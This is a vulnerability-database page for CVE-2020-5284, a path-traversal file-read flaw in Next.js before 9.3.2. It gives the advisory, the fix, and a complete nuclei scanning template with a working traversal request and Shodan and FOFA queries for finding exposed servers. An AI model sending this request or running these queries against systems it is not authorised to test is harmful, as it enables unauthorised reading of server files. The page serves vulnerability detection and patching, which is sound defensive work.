HexBrain

Browse / CVEs / CVE-2020-5284

CVE-2020-5284· zeit / next.js· CWE-22, CWE-23

Next.js <9.3.2 - Local File Inclusion

mediumseverity
4.3CVSS score
44.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.

Impact

An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

This issue is fixed in version 9.3.2.

How to confirm it

Send: GET {{BaseURL}}/_next/static/../server/pages-manifest.json
Positive when: contains in header "application/json" AND matches /\{"/_app":".*?_app\.js"/ AND status 200

Run it with nuclei: nuclei -id CVE-2020-5284 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-5284

info:
  name: Next.js <9.3.2 - Local File Inclusion
  author: rootxharsh,iamnoooob,dwisiswant0
  severity: medium
  description: Next.js versions before 9.3.2 are vulnerable to local file inclusion. An attacker can craft special requests to access files in the dist directory (.next). This does not affect files outside of the dist directory (.next). In general, the dist directory only holds build assets unless your application intentionally stores other assets under this directory.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: This issue is fixed in version 9.3.2.
  reference:
    - https://github.com/zeit/next.js/releases/tag/v9.3.2
    - https://github.com/zeit/next.js/security/advisories/GHSA-fq77-7p7r-83rj
    - https://nvd.nist.gov/vuln/detail/CVE-2020-5284
    - https://github.com/Z0fhack/Goby_POC
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2020-5284
    cwe-id: CWE-22,CWE-23
    epss-score: 0.44776
    epss-percentile: 0.98782
    cpe: cpe:2.3:a:zeit:next.js:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zeit
    product: next.js
    shodan-query:
      - http.html:"/_next/static"
      - cpe:"cpe:2.3:a:zeit:next.js"
    fofa-query: body="/_next/static"
  tags: cve,cve2020,nextjs,lfi,zeit,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/_next/static/../server/pages-manifest.json"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - '\{"/_app":".*?_app\.js"'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from